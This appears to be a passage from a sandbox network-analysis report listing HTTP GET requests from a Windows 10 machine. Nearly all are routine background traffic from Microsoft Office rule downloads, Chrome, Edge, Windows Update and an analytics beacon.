Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5e8os9bOvel+5bK&MD=8kamYrNw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732110086&P2=404&P3=2&P4=DslvKNmI7qyCBIgqlcReqBHjfpNYNLPRryNsMCJEYBVolS45JNeAjDHo%2bUyicj2DjXLs6h3UOYzfbdhP2hHW2w%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: WXbu+VDgDQ1k4Vu6RTHPz5Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
